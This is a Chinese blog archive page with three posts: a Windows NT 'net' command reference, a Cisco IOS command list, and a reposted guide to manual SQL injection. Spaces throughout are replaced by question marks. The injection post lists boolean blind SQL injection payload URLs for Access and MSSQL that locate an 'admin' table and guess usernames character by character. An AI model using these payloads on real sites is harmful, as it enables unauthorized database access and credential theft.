2006-01-07　net命令全集

? 網絡命令之：net命令?

許多?Windows?NT?網絡命令以?net?開始。這些?net?命令有一些公共屬性：?
通過鍵入?net?/??可查閱所有可用的?net?命令。?
通過鍵入?net?help?命令可在命令行中獲得?net?命令的語法幫助。例如，要得到?net?acco
unts?命令的幫助，請鍵入?net?help?accounts。?
所有?net?命令接受選項?/?yes?和?/no（可縮寫為?/?y?和?/n?）。/?y?對命令產生的任何交
互提示自動回答“是”，/n?回答“否”。例如，net?stop?server?通常提示確認是否根據服
務器服務結束所有服務，net?stop?server?/y?自動回答“是”并關閉服務器服務。?

Net?Accounts?

更新用戶帳號數據庫、更改密碼及所有帳號的登錄要求。必須要在更改帳號參數的計算機上
運行網絡登錄服務。?
net?accounts?[/forcelogoff:{minutes?|?no}]?[/minpwlen:length]?[/maxpwage:{days?|
unlimited}]?[/minpwage:days]?[/uniquepw:number]?[/domain]?
net?accounts?[/sync]?[/domain]?
參數?
無?
鍵入不帶參數的?net?accounts，將顯示當前密碼設置、登錄時限及域信息。?
/forcelogoff:{minutes?|?no}?
設置當用戶帳號或有效登錄時間過期時，結束用戶和服務器會話前的等待時間。no?選項禁止
強行注銷。該參數的默認設置為?no。?
指定?/forcelogoff:minutes?之后，Windows?NT?在其強制用戶退出網絡?minutes?分鐘之前
，將給用戶發出警報。如果還有打開的文件，Windows?NT?將警告用戶。如果?minutes?小于
兩分鐘，Windows?NT?警告用戶立即從網絡注銷。?
/minpwlen:length?
設置用戶帳號密碼的最少字符數。允許范圍是?0-14，默認值為?6。?
/maxpwage:{days?|?unlimited}?
設置用戶帳號密碼有效的最大天數。unlimited?不設置最大天數。/maxpwage?選項的天數必
須大于?/minpwage。允許范圍是?1-49,710?天?(unlimited)。默認值為?90?天。?
/minpwage:days?
設置用戶必須保持原密碼的最小天數。?0?值不設置最小時間。允許范圍是?0-49,710?天，默
認值為?0?天。?
/uniquepw:number?
要求用戶更改密碼時，必須在經過?number?次后，才能重復使用與之相同的密碼。允許范圍
是?0-8。默認值為?5。?
/domain?
在當前域的主域控制器上執行該操作。否則只在本地計算機執行操作。?
該參數僅用于?Windows?NT?Server?域中的?Windows?NT?Workstation?計算機，Windows?NT?
Server?計算機默認為在主域控制器執行操作。?
/sync?
當用于主域控制器時，該命令使域中所有備份域控制器同步；當用于備份域控制器時，該命
令僅使該備份域控制器與主域控制器同步。該命令僅適用于?Windows?NT?Server?域成員的計
算機。?

Net?Computer?

從域數據庫中添加或刪除計算機。該命令僅在運行?Windows?NT?Server?的計算機上可用。?
net?computer?\computername?{/add?|?/del}?
參數?
\computername?
指定要添加到域或從域中刪除的計算機。?
/add?
將指定計算機添加到域。?
/del?
將指定計算機從域中刪除。?

Net?Config?

顯示當前運行的可配置服務，或顯示并更改某項服務的設置。?
net?config?[service?[options]]?
參數?
無?
鍵入不帶參數的?net?config?將顯示可配置服務的列表。?
service?
通過?net?config?命令進行配置的服務（server?或?workstation）。?
options?
服務的特定選項。完整語法請參閱?net?config?server?或?net?config?workstation。?

Net?Config?Server?

運行服務時顯示或更改服務器的服務設置。?
net?config?server?[/autodisconnect:time]?[/srvcomment:"text?"]?[/hidden:{yes?|?n
o}]?
參數?
無?
鍵入不帶參數的?net?config?server，將顯示服務器服務的當前配置。?
/autodisconnect:time?
設置斷開前用戶會話閑置的最大時間值。可以指定?-1，表示永不斷開連接。允許范圍是?-1
-65535?分鐘，默認值是?15?分鐘。?
/srvcomment:"text?"?
為服務器添加注釋，可以通過?net?view?命令在屏幕上顯示所加注釋。注釋最多可達?48?個
字符，文字要用引號引住。?
/hidden:{yes?|?no}?
指定服務器的計算機名是否出現在服務器列表中。請注意隱含某個服務器并不改變該服務器
的權限。默認為?no。?

Net?Config?Workstation?

服務運行時，顯示或更改工作站各項服務的設置。?
net?config?workstation?[/charcount:bytes]?[/chartime:msec]?[/charwait:sec]?
參數?
無?
鍵入不帶參數的?net?config?workstation?將顯示本地計算機的當前配置。?
/charcount:bytes?
指定?Windows?NT?在將數據發送到通訊設備之前收集的數據量。如果同時設置?/chartime:m
sec?參數，Windows?NT?按首先滿足條件的選項運行。允許范圍是?0-65535?字節，默認值是
16?字節。?
/chartime:msec?
指定?Windows?NT?在將數據發送到通訊設備之前收集數據的時間。如果同時設置?/charcoun
t:bytes?參數，Windows?NT?按首先滿足條件的選項運行。允許范圍是?0-65535000?毫秒，默
認值是?250?毫秒。?
/charwait:sec?
設置?Windows?NT?等待通訊設備變為可用的時間。允許的范圍是?0-65535?秒，默認值是?36
00?秒。?

Net?Continue?

重新激活掛起的服務。?
net?continue?service?
參數?
service?
能夠繼續運行的服務，包括：?file?server?for?macintosh（該服務僅限于?Windows?NT?Se
rver）,?ftp?publishing?service,?lpdsvc,?net?logon,?network?dde，network?dde?dsdm
，nt?lm?security?support?provider，remoteboot（該服務僅限于?Windows?NT?Server），
remote?access?server,?schedule，server，simple?tcp/ip?services?及?workstation?。


Net?File?

顯示某服務器上所有打開的共享文件名及鎖定文件數。該命令也可以關閉個別文件并取消文?
件鎖定。?
net?file?[id?[/close]]?
參數?
無?
鍵入不帶參數的?net?file?可獲得服務器上打開文件的列表。?
id?
文件標識號。?
/close?
關閉打開的文件并釋放鎖定記錄。請從共享文件的服務器中鍵入該命令。?

Net?Group?

在?Windows?NT?Server?域中添加、顯示或更改全局組。該命令僅在?Windows?NT?Server?域
中可用。?
net?group?[groupname?[/comment:"text?"]]?[/domain]?
net?group?groupname?{/add?[/comment:"text?"]?|?/delete}?[/domain]?
net?group?groupname?username?[?...]?{/add?|?/delete}?[/domain]?
參數?
無?
鍵入不帶參數的?net?group?可以顯示服務器名稱及服務器的組名稱。?
groupname?
要添加、擴展或刪除的組。僅提供某個組名便可查看組中的用戶列表。?
/comment:"text?"?
為新建組或現有組添加注釋。注釋最多可以是?48?個字符，并用引號將注釋文字引住。?
/domain?
在當前域的主域控制器中執行該操作，否則在本地計算機上執行操作。?
該參數僅用于作為?Windows?NT?Server?域成員的?Windows?NT?Workstation?計算機。Windo
ws?NT?Server?計算機默認為在主域控制器中操作。?
username[?...]?
列表顯示要添加到組或從組中刪除的一個或多個用戶。使用空格分隔多個用戶名稱項。?
/add?
添加組或在組中添加用戶名。必須使用該命令為添加到組中的用戶建立帳號。?
/delete?
刪除組或從組中刪除用戶名。?

Net?Help?

提供網絡命令列表及幫助主題，或提供指定命令或主題的幫助。可用網絡命令列于?N?下面的
“命令參考”中“命令”窗口內。?
net?help?[command]?
net?command?{/help?|?/?}?
參數?
無?
鍵入不帶參數的?net?help?顯示能夠獲得幫助的命令列表和幫助主題。?
command?
需要其幫助的命令，不要將?net?作為?command?的一部分。?
/help?
提供顯示幫助文本方式選擇。?
/??
顯示命令的正確語法。?

Net?Helpmsg?

提供?Windows?NT?錯誤信息的幫助。?
net?helpmsg?message#?
參數?
message#?
需要其幫助的?Windows?NT?消息的四位代碼。?

Net?Localgroup?

添加、顯示或更改本地組。?
net?localgroup?[groupname?[/comment:"text?"]]?[/domain]?
net?localgroup?groupname?{/add?[/comment:"text?"]?|?/delete}?[/domain]?
net?localgroup?groupname?name?[?...]?{/add?|?/delete}?[/domain]?
參數?
無?
鍵入不帶參數的?net?localgroup?將顯示服務器名稱和計算機的本地組名稱。?
groupname?
要添加、擴充或刪除的本地組名稱。只提供?groupname?即可查看用戶列表或本地組中的全局
組。?
/comment:?"text?"?
為新建或現有組添加注釋。注釋文字的最大長度是?48?個字符，并用引號引住。?
/domain?
在當前域的主域控制器中執行操作，否則僅在本地計算機上執行操作。?
該參數僅應用于?Windows?NT?Server?域中的?Windows?NT?Workstation?計算機。Windows?N
T?Server?計算機默認為在主域控制器中操作。?
name?[?...]?
列出要添加到本地組或從本地組中刪除的一個或多個用戶名或組名，多個用戶名或組名之間
以空格分隔。可以是本地用戶、其他域用戶或全局組，但不能是其他本地組。如果是其他域?
的用戶，要在用戶名前加域名（例如，SALESRALPHR）。?
/add?
將全局組名或用戶名添加到本地組中。在使用該命令將用戶或全局組添加到本地組之前，必
須為其建立帳號。?
/delete?
從本地組中刪除組名或用戶名。?

Net?Name?

添加或刪除消息名（有時也稱別名），或顯示計算機接收消息的名稱列表。要使用?net?nam
e?命令，計算機中必須運行信使服務。?
net?name?[name?[/add?|?/delete]]?
參數?
無?
鍵入不帶參數的?net?name?將列出當前使用的名稱。?
name?
指定接收消息的名稱。名稱最多為?15?個字符。?
/add?
將名稱添加到計算機中。?/add?是可選項，鍵入?net?name?name?與鍵入?net?name?name?/a
dd?相同。?
/delete?
從計算機中刪除名稱。?

Net?Pause?

暫停正在運行的服務。?
net?pause?service?
參數?
service?
指下列服務：?file?server?for?macintosh（僅限于?Windows?NT?Server）、ftp?publishi
ng?service、lpdsvc、net?logon、network?dde、network?dde?dsdm、nt?lm?security?sup
port?provider、remoteboot（僅限于?Windows?NT?Server）、remote?access?server、sch
edule、server、simple?tcp/ip?services?或?workstation?。?

Net?Print?

顯示或控制打印作業及打印隊列。?
net?print?\computername?sharename?
net?print?[\computername?]?job#?[/hold?|?/release?|?/delete]?
參數?
computername?
共享打印機隊列的計算機名。?
sharename?
打印隊列名稱。當包含?computername?與?sharename?時，使用反斜杠?()?將它們分開。?
job#?
在打印機隊列中分配給打印作業的標識號。有一個或多個打印機隊列的計算機為每個打印作
業分配唯一標識號。如果某個作業號用于共享打印機隊列中，則不能指定給其他作業，也不
能分配給其他打印機隊列中的作業。?
/hold?
使用?job#?時，在打印機隊列中使打印作業等待。打印作業停留在打印機隊列中，并且其他
打印作業只能等到釋放該作業之后才能進入。?
/release?
釋放保留的打印作業。?
/delete?
從打印機隊列中刪除打印作業。?

Net?Send?

向網絡的其他用戶、計算機或通信名發送消息。要接收消息必須運行信使服務。?
net?send?{name?|?*?|?/domain[:name]?|?/users}?message?
參數?
name?
要接收發送消息的用戶名、計算機名或通信名。如果計算機名包含空字符，則要將其用引號
("?")?引住。?
*?
將消息發送到組中所有名稱。?
/domain[:name]?
將消息發送到計算機域中的所有名稱。如果指定?name，則消息將發送到指定域或組中的所有
名稱。?
/users?
將消息發送到與服務器連接的所有用戶。?
message?
作為消息發送的文本。?

Net?Session?

列出或斷開本地計算機和與之連接的客戶端的會話。?
net?session?[\computername]?[/delete]?
參數?
無?
鍵入不帶參數的?net?session?可以顯示所有與本地計算機的會話的信息。?
\computername?
標識要列出或斷開會話的計算機。?
/delete?
結束與?\computername?計算機會話并關閉本次會話期間計算機的所有打開文件。如果省略?
\computername?參數，將取消與本地計算機的所有會話。?

Net?Share?

創建、刪除或顯示共享資源。?
net?share?sharename?
net?share?sharename=drive:path?[/users:number?|?/unlimited]?[/remark:"text"]?
net?share?sharename?[/users:number?|?unlimited]?[/remark:"text"]?
net?share?{sharename?|?drive:path}?/delete?
參數?
無?
鍵入不帶參數的?net?share?將顯示本地計算機上所有共享資源的信息。?
sharename?
是共享資源的網絡名稱。鍵入帶?sharename?的?net?share?命令，只顯示該共享信息。?
drive:path?
指定共享目錄的絕對路徑。?
/users:number?
設置可同時訪問共享資源的最大用戶數。?
/unlimited?
不限制同時訪問共享資源的用戶數。?
/remark:"text?"?
添加關于資源的注釋，注釋文字用引號引住。?
/delete?
停止共享資源。?

Net?Start?

啟動服務，或顯示已啟動服務的列表。如果服務名是兩個或兩個以上的詞，如?Net?Logon?或
Computer?Browser，則必須用引號?(")?引住。.?
net?start?[service]?
參數?
無?
鍵入不帶參數的?net?start?則顯示運行服務的列表。?
service?
包括下列服務：?alerter、client?service?for?netware、clipbook?server、computer?br
owser、dhcp?client?、directory?replicator?、eventlog?、ftp?publishing?service?、
lpdsvc、messenger?、net?logon?、network?dde?、network?dde?dsdm?、network?monitor
ing?agent?、nt?lm?security?support?provider?、ole?、remote?access?connection?man
ager?、remote?access?isnsap?service?、remote?access?server?、remote?procedure?ca
ll?(rpc)?locator?、remote?procedure?call?(rpc)?service?、schedule?、server?、sim
ple?tcp/ip?services?、snmp、spooler?、tcp/ip?netbios?helper?、ups?及?workstation
。?
下列服務僅在?Windows?NT?Server?下可用：file?server?for?macintosh、gateway?servic
e?for?netware、microsoft?dhcp?server、print?server?for?macintosh、remoteboot、wi
ndows?internet?name?service?。?

Net?Statistics?

顯示本地工作站或服務器服務的統計記錄。?
net?statistics?[workstation?|?server]?
參數?
無?
鍵入不帶參數的?net?statistics?將列出其統計信息可用的運行服務。?
workstation?
顯示本地工作站服務的統計信息。?
server?
顯示本地服務器服務的統計信息。?

Net?Stop?

停止?Windows?NT?網絡服務。?
net?stop?service?
參數?
service?
包括下列服務：?alerter（警報）、client?service?for?netware（Netware?客戶端服務）
、clipbook?server（剪貼簿服務器）、computer?browser（計算機瀏覽器）、directory?r
eplicator（目錄×××）、ftp?publishing?service?(ftp?)（ftp?發行服務）、lpdsvc、
messenger（信使）、net?logon（網絡登錄）、network?dde（網絡?dde）、network?dde?d
sdm（網絡?dde?dsdm）、network?monitor?agent（網絡監控代理）、nt?lm?security?supp
ort?provider（NT?LM?安全性支持提供）、ole（對象鏈接與嵌入）、remote?access?conne
ction?manager（遠程訪問連接管理器）、remote?access?isnsap?service（遠程訪問?isns
ap?服務）、remote?access?server（遠程訪問服務器）、remote?procedure?call?(rpc)?l
ocator（遠程過程調用定位器）、remote?procedure?call?(rpc)?service（遠程過程調用服
務）、schedule（調度）、server（服務器）、simple?tcp/ip?services（簡單?TCP/IP?服
務）、snmp、spooler（后臺打印程序）、tcp/ip?netbios?helper（TCP/IP?NETBIOS?輔助工
具）、ups?及?workstation（工作站）。?
下列服務僅在?Windows?NT?Server?中可用：?file?server?for?macintosh、gateway?servi
ce?for?netware、microsoft?dhcp?server、print?server?for?macintosh、remoteboot、w
indows?internet?name?service。?

Net?Time?

使計算機的時鐘與另一臺計算機或域的時間同步。不帶?/set?參數使用時，將顯示另一臺計
算機或域的時間。?
net?time?[\computername?|?/domain[:name]]?[/set]?
參數?
\computername?
要檢查或同步的服務器名。?
/domain[:name]?
指定要與其時間同步的域。?
/set?
使本計算機時鐘與指定計算機或域的時鐘同步。?

Net?Use?

連接計算機或斷開計算機與共享資源的連接，或顯示計算機的連接信息。該命令也控制永久?
網絡連接。?
net?use?[devicename?|?*]?[\computernamesharename[volume]]?[password?|?*]]?[/user
:[domainname]username]?[[/delete]?|?[/persistent:{yes?|?no}]]?
net?use?devicename?[/home[password?|?*]]?[/delete:{yes?|?no}]?
net?use?[/persistent:{yes?|?no}]?
參數?
無?
鍵入不帶參數的?net?use?將列出網絡連接。?
devicename?
指定要連接到的資源名稱或要斷開的設備名稱。有兩類設備名：磁盤驅動器（D:?到?Z:）和
打印機（LPT1:?到?LPT3）。若鍵入星號而不是指定設備名將分配下一個可用設備名。?
\computernamesharename?
服務器及共享資源的名稱。如果計算機名包含空白字符，要用引號?("?")?將雙反斜線及計算
機名引住。計算機名長度可以是?1-15?個字符。?
volume?
指定服務器上的?NetWare?卷。要連接到?NetWare?服務器，必須安裝并運行?NetWare?客戶機
服務?(Windows?NT?Workstation)?或?NetWare?網關服務?(Windows?NT?Server)。?
password?
訪問共享資源的密碼。?
*?
提示鍵入密碼。在密碼提示行中鍵入密碼時，將不顯示該密碼。?
/user?
指定進行連接的另外一個用戶。?
domainname?
指定另一個域。例如?net?use?d:?\servershare?/user:adminmariel?連接用戶?mariel，如
同從?admin?域連接一樣。如果省略域，將使用當前登錄域。?
username?
指定登錄的用戶名。?
/home?
將用戶連接到其宿主目錄。?
/delete?
取消指定網絡連接。如果用戶以星號指定連接，則取消所有網絡連接。?
/persistent?
控制永久網絡連接的使用。默認為上次使用的設置。無設備的連接不是永久的。?
yes?
保存建立的所有連接，并在下次登錄時還原。?
no?
不保存建立的連接和繼發連接，并在下次登錄時還原現有連接。使用?/delete?開關項取消永
久連接。?

Net?User?

添加或更改用戶帳號或顯示用戶帳號信息。?
net?user?[username?[password?|?*]?[options]]?[/domain]?
net?user?username?{password?|?*}?/add?[options]?[/domain]?
net?user?username?[/delete]?[/domain]?
參數?
無?
鍵入不帶參數的?net?user?將查看計算機上的用戶帳號列表。?
username?
添加、刪除、更改或查看用戶帳號名。用戶帳號名最多可以有?20?個字符。?
password?
為用戶帳號分配或更改密碼。密碼必須滿足在?net?accounts?命令?/minpwlen?選項中設置的
最小參數。最多是?14?個字符。?
*?
提示輸入密碼。在密碼提示行中鍵入密碼時，將不顯示該密碼。?
/domain?
在計算機主域的主域控制器中執行操作。?
該參數僅在?Windows?NT?Server?域成員的?Windows?NT?Workstation?計算機上可用。默認情
況下，Windows?NT?Server?計算機在主域控制器中執行操作。?
注意：在計算機主域的主域控制器發生該動作。它可能不是登錄域。?
/add?
將用戶帳號添加到用戶帳號數據庫。?
/delete?
從用戶帳號數據庫中刪除用戶帳號。?
選項如下所示：?
/active:{no?|?yes}?
啟用或禁止用戶帳號。如果不激活用戶帳號，用戶就不能訪問計算機上的資源。默認值是?y
es?（激活）。?
/comment:"text"?
提供用戶帳號的注釋。該注釋最多可以有?48?個字符，文字用引號引住。?
/countrycode:nnn?
使用操作系統的國家代碼以便為用戶幫助和錯誤信息文件提供指定語言文件。0?值表示默認
國家代碼。?
/expires:{date?|?never}?
如果設置?date，將導致用戶帳號過期，never?不對用戶帳號設置時間限制。過期日期根據?
/countrycode?值可以是下列格式：?mm/dd/yy、dd/mm/yy?或?mmm,?dd,?yy。注意帳號在指定
日期開始時過期。月份可以是數字、全名或三個字母的簡拼。年可以是兩位或四位數，使用
逗號或斜線（不要用空格）?區分日期的各部分。如果省略?yy?，則使用該日期下一次到來的?
年份（根據計算機的時鐘）。例如如果在?1994?年?1?月?10?日到?1995?年?1?月?8?日之間輸
入下列日期項，那它們相同：jan,9?
1/9/95?
january,9,1995?
1/9?
/fullname:"name"?
指定用戶全名而不是用戶名。用引號將名字引住。?
/homedir:path?
設置用戶宿主目錄的路徑。該路徑必須存在。?
/homedirreq:{yes?|?no}?
設置是否需要宿主目錄。?
/passwordchg:{yes?|?no}?
指定用戶是否能改變自己的密碼。默認值是?yes。?
/passwordreq:{yes?|?no}?
指定用戶帳號是否需要密碼，默認值是?yes。?
/profilepath:[path]?
設置用戶登錄配置文件的路徑。該路徑名指向注冊表配置文件。?
/.path:path?
為用戶登錄腳本設置路徑。Path?不能是絕對路徑；?
path?是相對于?%systemroot%SYSTEM32REPLIMPORT.S?的相對路徑：。?
/times:{times?|?all}?
指定允許用戶使用計算機的時間。times?值表示為?day[-day][,?day[-day]]?,?time[-time
][,?time[-time]],?增量限制為一小時。Days?可以是全名或簡寫（M、T、W、Th、F、Sa、S
u）。Hours?可以是?12?小時制或?24?小時制。對于?12?小時值，使用?AM、PM?或?A.M、P.M
。all?表示用戶總可以登錄。空值表示用戶永遠不能登錄。用逗號分隔日期和時間，分隔時?
間和日期的單位用分號（例如?M,4AM-5PM;?T,1PM-3PM）。指定?/times?時不要使用空格。?
/usercomment:"text?"?
讓管理員添加或更改帳號的“用戶注釋”。用引號引住文字。?
/workstations:{computername[,...]?|?*}?
列出最多八個用戶可以登錄到網絡的工作站。用逗號分隔列表中的多個項。如果?/workstat
ions?沒有列表，或如果列表是星號“*”，則用戶可以從任何一臺計算機登錄。?

Net?View?

顯示域列表、計算機列表或指定計算機的共享資源列表。?
net?view?[\computername?|?/domain[:domainname]]?
net?view?/network:nw?[\computername]?
參數?
無?
鍵入不帶參數的?net?view?將顯示當前域的計算機列表。?
\computername?
指定要查看其共享資源的計算機。?
/domain[:domainname]?
指定要查看其可用計算機的域。如果省略?domainname?，則顯示網絡的所有域。?
/network:nw?
顯示?NetWare?網絡中所有可用的服務器。如果指定計算機名，則顯示?NetWare?網絡中該計
算機的可用資源。也可以用此開關指定添加到系統中的其他網絡。
? Fantasy?發表于2006-01-07 04:09:45?175?人閱讀?0?條評論??瀏覽全文??我要評論
?

2006-01-04　[轉載]手工檢測可否注入

文章出處:http://blog.powers.com.cn/forum_posts.asp?TID=333&PN=4
文章作者:yjd

□?檢測可否注入
============================================================?==================
http://url/xx?id=1111?and?1=1?(正常頁面)
http://url/xx?id=1111?and?1=2?(出錯頁面)

============================================================?==================
□?檢測表段的
============================================================?==================
http://url/xx?id=1111?and?exists?(select?*?from?admin)?

============================================================?==================
□?檢測字段的
============================================================?==================
http://url/xx?id=1111?and?exists?(select?username?from?admin)?

============================================================?==================
□?檢測ID
============================================================?==================
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?ID=1)

============================================================?==================
□?檢測長度的
============================================================?==================
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?len(username)=5?and?ID=1)?

============================================================?==================
□?檢測長度的
============================================================?==================
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?len(username)=5?and?ID=1)?

============================================================?==================
□?檢測是否為MSSQL數據庫
============================================================?==================
http://url/xx?id=1111?and?exists?(select?*?from?sysobjects)

============================================================?==================
□?檢測是否為英文
============================================================?==================
(ACCESS數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))?between?30?and?130?and?ID=1)?

(MSSQL數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))?between?30?and?130?and?ID=1)?


============================================================?==================
□?檢測英文的范圍
============================================================?==================
(ACCESS數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))?between?90?and?100?and?ID=1)?

(MSSQL數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))?between?90?and?100?and?ID=1)?

============================================================?==================
□?檢測那個字符
============================================================?==================
(ACCESS數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))=97?and?ID=1)?

(MSSQL數據庫)
http://url/xx?id=1111?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))=97?and?ID=1)



============================================================?===================
常用函數
============================================================?===================
Access：asc(字符)　SQLServer：unicode(字符)
作用：返回某字符的ASCII碼

Access：chr(數字)　SQLServer：nchar(數字)
作用：與asc相反，根據ASCII碼返回字符

Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L)
作用：返回字符串從N個字符起長度為L的子字符串，即N到N+L之間的字符串

Access：abc(數字)　SQLServer：abc?(數字)
作用：返回數字的絕對值（在猜解漢字的時候會用到）

Access：A?between?B?And?C　SQLServer：A?between?B?And?C
作用：判斷A是否界于B與C之間
Fantasy?發表于2006-01-04 05:21:41?149?人閱讀?0?條評論??瀏覽全文??我要評論

2006-01-04　[轉載]CISCO命令全集

Access-enable?允許路由器在動態訪問列表中創建臨時訪問列表入口
Access-group?把訪問控制列表(ACL)應用到接口上
Access-list?定義一個標準的IP?ACL
Access-template?在連接的路由器上手動替換臨時訪問列表入口
Appn?向APPN子系統發送命令
Atmsig?執行ATM信令命令
B?手動引導操作系統
Bandwidth?設置接口的帶寬
Banner?motd?指定日期信息標語
Bfe?設置突發事件手冊模式
Boot?system?指定路由器啟動時加載的系統映像
Calendar?設置硬件日歷
Cd?更改路徑
Cdp?enable?允許接口運行CDP協議
Clear?復位功能
Clear?counters?清除接口計數器
Clear?interface?重新啟動接口上的硬件邏輯
Clockrate?設置串口硬件連接的時鐘速率，如網絡接口模塊和接口處理器能接受的速率
Cmt?開啟/關閉FDDI連接管理功能
Config-register?修改配置寄存器設置
Configure?允許進入存在的配置模式，在中心站點上維護并保存配置信息
Configure?memory?從NVRAM加載配置信息
Configure?terminal?從終端進行手動配置
Connect?打開一個終端連接
Copy?復制配置或映像數據
Copy?flash?tftp?備份系統映像文件到TFTP服務器
Copy?running-config?startup-config?將RAM中的當前配置存儲到NVRAM
Copy?running-config?tftp?將RAM中的當前配置存儲到網絡TFTP服務器上
Copy?tftp?flash?從TFTP服務器上下載新映像到Flash
Copy?tftp?running-config?從TFTP服務器上下載配置文件
Debug?使用調試功能
Debug?dialer?顯示接口在撥什么號及諸如此類的信息
Debug?ip?rip?顯示RIP路由選擇更新數據
Debug?ipx?routing?activity?顯示關于路由選擇協議(RIP)更新數據包的信息
Debug?ipx?sap?顯示關于SAP（業務通告協議）更新數據包信息
Debug?isdn?q921?顯示在路由器D通道ISDN接口上發生的數據鏈路層（第2層）的訪問過程
Debug?ppp?顯示在實施PPP中發生的業務和交換信息
Delete?刪除文件
Deny?為一個已命名的IP?ACL設置條件
Dialer?idle-timeout?規定線路斷開前的空閑時間的長度
Dialer?map?設置一個串行接口來呼叫一個或多個地點
Dialer?wait-for-carrier-time?規定花多長時間等待一個載體
Dialer-group?通過對屬于一個特定撥號組的接口進行配置來訪問控制
Dialer-list?protocol?定義一個數字數據接受器（DDR）撥號表以通過協議或ACL與協議的組合來控制控制撥號
Dir?顯示給定設備上的文件
Disable?關閉特許模式
Disconnect?斷開已建立的連接
Enable?打開特許模式
Enable?password?確定一個密碼以防止對路由器非授權的訪問
Enable?password?設置本地口令控制不同特權級別的訪問
Enable?secret?為enable?password命令定義額外一層安全性
Encapsulation?frame-relay?啟動幀中繼封裝
Encapsulation?novell-ether?規定在網絡段上使用的Novell獨一無二的格式
Encapsulation?PPP?把PPP設置為由串口或ISDN接口使用的封裝方法
Encapsulation?sap?規定在網絡段上使用的以太網802.2格式Cisco的密碼是sap
End?退出配置模式
Erase?刪除閃存或配置緩存
Erase?startup-config?刪除NVRAM中的內容
Exec-timeout?配置EXEC命令解釋器在檢測到用戶輸入前所等待的時間
Exit?退出所有配置模式或者關閉一個激活的終端會話和終止一個EXEC
Exit?終止任何配置模式或關閉一個活動的對話和結束EXEC
format?格式化設備
Frame-relay?local-dlci?為使用幀中繼封裝的串行線路啟動本地管理接口（LMI）
Help?獲得交互式幫助系統
History?查看歷史記錄
Hostname?使用一個主機名來配置路由器，該主機名以提示符或者缺省文件名的方式使用
Interface?設置接口類型并且輸入接口配置模式
Interface?配置接口類型和進入接口配置模式
Interface?serial?選擇接口并且輸入接口配置模式
Ip?access-group?控制對一個接口的訪問
Ip?address?設定接口的網絡邏輯地址
Ip?address?設置一個接口地址和子網掩碼并開始IP處理
Ip?default-network?建立一條缺省路由
Ip?domain-lookup?允許路由器缺省使用DNS
Ip?host?定義靜態主機名到IP地址映射
Ip?name-server?指定至多6個進行名字-地址解析的服務器地址
Ip?route?建立一條靜態路由
Ip?unnumbered?在為給一個接口分配一個明確的IP地址情況下，在串口上啟動互聯網協議（IP）的處理過程
Ipx?delay?設置點計數
Ipx?ipxwan?在串口上啟動IPXWAN協議
Ipx?maximum-paths?當轉發數據包時設置Cisco?IOS軟件使用的等價路徑數量
Ipx?network?在一個特定接口上啟動互聯網數據包交換（IPX）的路由選擇并且選擇封裝的類型（用幀封裝）
Ipx?router?規定使用的路由選擇協議
Ipx?routing?啟動IPX路由選擇
Ipx?sap-interval?在較慢的鏈路上設置較不頻繁的SAP（業務廣告協議）更新
Ipx?type-20-input-checks?限制對IPX20類數據包廣播的傳播的接受
Isdn?spid1?在路由器上規定已經由ISDN業務供應商為B1信道分配的業務簡介號（SPID）
Isdn?spid2?在路由器上規定已經由ISDN業務供應商為B2信道分配的業務簡介號（SPID）
Isdn?switch-type?規定了在ISDN接口上的中央辦公區的交換機的類型
Keeplive?為使用幀中繼封裝的串行線路LMI（本地管理接口）機制
Lat?打開LAT連接
Line?確定一個特定的線路和開始線路配置
Line?concole?設置控制臺端口線路
Line?vty?為遠程控制臺訪問規定了一個虛擬終端
Lock?鎖住終端控制臺
Login?在終端會話登錄過程中啟動了密碼檢查
Login?以某用戶身份登錄，登錄時允許口令驗證
Logout?退出EXEC模式
Mbranch?向下跟蹤組播地址路由至終端
Media-type?定義介質類型
Metric?holddown?把新的IGRP路由選擇信息與正在使用的IGRP路由選擇信息隔離一段時間
Mrbranch?向上解析組播地址路由至枝端
Mrinfo?從組播路由器上獲取鄰居和版本信息
Mstat?對組播地址多次路由跟蹤后顯示統計數字
Mtrace?由源向目標跟蹤解析組播地址路徑
Name-connection?命名已存在的網絡連接
Ncia?開啟/關閉NCIA服務器
Network?把一個基于NIC的地址分配給一個與它直接相連的路由器把網絡與一個IGRP的路由選擇的過程聯系起來在IPX路由器配置模式下，在網絡上啟動加強的IGRP
Network?指定一個和路由器直接相連的網絡地址段
Network-number?對一個直接連接的網絡進行規定
No?shutdown?打開一個關閉的接口
Pad?開啟一個X.29?PAD連接
Permit?為一個已命名的IP?ACL設置條件
Ping?把ICMP響應請求的數據包發送網絡上的另一個節點檢查主機的可達性和網絡的連通性對網絡的基本連通性進行診斷
Ping?發送回聲請求，診斷基本的網絡連通性
Ppp?開始IETF點到點協議
Ppp?authentication?啟動Challenge握手鑒權協議（CHAP）或者密碼驗證協議（PAP）或者將兩者都啟動，并且對在接口上選擇的CHAP和PAP驗證的順序進行規定
Ppp?chap?hostname?當用CHAP進行身份驗證時，創建一批好像是同一臺主機的撥號路由器
Ppp?chap?password?設置一個密碼，該密碼被發送到對路由器進行身份驗證的主機命令對進入路由器的用戶名/密碼的數量進行了限制
Ppp?pap?sent-username?對一個接口啟動遠程PAP支持，并且在PAP對同等層請求數據包驗證過程中使用sent-username和password
Protocol?對一個IP路由選擇協議進行定義，該協議可以是RIP，內部網關路由選擇協議（IGRP），開放最短路徑優先（OSPF），還可以是加強的IGRP
Pwd?顯示當前設備名
Reload?關閉并執行冷啟動；重啟操作系統
Rlogin?打開一個活動的網絡連接
Router?由第一項定義的IP路由協議作為路由進程，例如：router?rip?選擇RIP作為路由協議
Router?igrp?啟動一個IGRP的路由選擇過程
Router?rip?選擇RIP作為路由選擇協議
Rsh?執行一個遠程命令
Sdlc?發送SDLC測試幀
Send?在tty線路上發送消息
Service?password-encryption?對口令進行加密
Setup?運行Setup命令
Show?顯示運行系統信息
Show?access-lists?顯示當前所有ACL的內容
Show?buffers?顯示緩存器統計信息
Show?cdp?entry?顯示CDP表中所列相鄰設備的信息
